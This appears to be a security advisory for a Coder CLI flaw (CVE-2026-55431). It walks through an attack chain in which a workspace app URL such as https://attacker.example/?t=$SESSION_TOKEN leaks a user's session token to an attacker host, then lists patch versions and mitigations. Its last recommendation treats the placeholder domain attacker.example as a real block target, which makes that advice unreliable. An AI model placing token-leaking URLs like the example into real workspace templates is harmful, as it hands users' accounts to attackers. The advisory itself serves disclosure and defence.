Attack Chain

1. Initial Compromise: An attacker gains control over the definition of an external application within a Coder workspace, typically by authoring or modifying a malicious workspace template.
2. Malicious Configuration: The attacker configures the external application's URL to include the $SESSION_TOKEN placeholder and points it to an attacker-controlled domain (e.g., https://attacker.example/?t=$SESSION_TOKEN).
3. User Interaction: A legitimate Coder user, interacting with their environment, invokes the coder open app command, targeting the compromised or maliciously configured workspace.
4. Token Substitution: The vulnerable coder CLI, failing to validate the URL's scheme or host, replaces the $SESSION_TOKEN placeholder with the user's active session token.
5. External Launch: The CLI then hands off the maliciously crafted URL, now containing the session token, to the operating system's default handler (e.g., a web browser) for execution.
6. Data Exfiltration: The handling application (e.g., web browser) performs a GET request to the attacker-controlled server (attacker.example), inadvertently transmitting the victim's session token as a URL parameter.
7. Account Impersonation: The attacker captures the exfiltrated session token and uses it to gain unauthorized, full access to the victim's Coder account, allowing for complete impersonation and control.

Impact

This vulnerability poses a significant risk as it enables full account impersonation, granting attackers unauthorized access to a victim's Coder account and potentially any resources accessible through that account. If exploited, an attacker can perform any action the compromised user is authorized to do, including accessing code, deploying resources, or modifying configurations within the Coder environment. The vulnerability also carries the risk of invoking arbitrary local URI scheme handlers, which could lead to further compromise or execution of malicious code on the victim's machine. The primary target is any user who interacts with potentially untrusted Coder workspaces using the coder open app command.

Recommendation

• Patch CVE-2026-55431 immediately by upgrading Coder CLI to version v2.34.2, v2.33.8, v2.32.7, v2.29.17, or newer, as specified in the patches section.
• Implement User Awareness Training: Educate users to avoid running the coder open app command for workspaces with unknown or untrusted origins as per the workaround.
• Monitor Network Traffic: Block outbound connections to the domain attacker.example at the network perimeter.